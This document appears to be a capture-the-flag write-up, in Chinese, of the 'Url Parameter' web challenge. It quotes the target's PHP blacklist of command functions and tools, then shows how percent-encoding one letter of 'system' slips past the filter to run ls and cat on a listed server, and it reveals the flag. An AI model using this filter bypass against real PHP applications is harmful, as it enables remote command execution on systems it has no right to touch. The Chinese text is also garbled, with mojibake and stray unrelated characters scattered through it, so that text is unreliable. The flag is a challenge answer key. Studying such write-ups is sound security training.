Url Parameter
Description: this chall sucks, you should watch VIE vs UZB match. :)
VIET NAM VO DICH!
Author: kad96
Website: Link
-
分析:
題目沒給什么提示,當(dāng)時(shí)正值亞洲杯決賽越南打?yàn)跗潉e克斯坦,作者還叫我們?nèi)タ幢荣悾€說VIET NAM VO DICH!(越南必勝) - 點(diǎn)進(jìn)去
-->主頁,空白;
-->查看源碼,空白责蝠;
-->查看robots.txt文件
# you know de wae ma queen
User-Agent: *
Disallow: /?debug
-
http://35.196.45.11:8080/?debug
定義了一個(gè)blacklist,過濾了一系列命令字符萎庭,現(xiàn)在就是要怎么繞開這個(gè)黑名單霜医。
REQUEST_URI的作用是取得當(dāng)前URI,所以可以改url來繞開blacklist
$blacklist = "assert|system|passthru|exec|assert|read|open|eval|`|_|file|dir|\.\.|\/\/|curl|ftp|glob";
if(count($_GET) > 0){
if(preg_match("/$blacklist/i",$_SERVER["REQUEST_URI"])) die("No no no hackers!!");
list($key, $val) = each($_GET);
$key($val);
}
-
http://35.196.45.11:8080/?system=ls
$_SERVER["REQUEST_URI"]=/?system=ls
- 利用url編碼/解碼,URL編碼用百分號(hào)加字符的16進(jìn)制編碼表示字符,字符到16進(jìn)制轉(zhuǎn)碼得到system的16進(jìn)制為0x73797374656d驳规,則可以改system任意一個(gè)字符肴敛,但是需要在16進(jìn)制前加%號(hào):
$_SERVER["REQUEST_URI"]=/?s%79stem=ls
url解碼s%79stem為system。 - 查看http://35.196.45.11:8080/?s%79stem=cat flag-a-long-name-that-you-wont-know.php吗购,發(fā)現(xiàn)是空白医男,于是查看源碼:
view-source:http://35.196.45.11:8080/?s%79stem=cat flag-a-long-name-that-you-wont-know.php
<?php
//here the flag: AceBear{I_did_something_stupid_with_url}
?>
- flag: AceBear{I_did_something_stupid_with_url}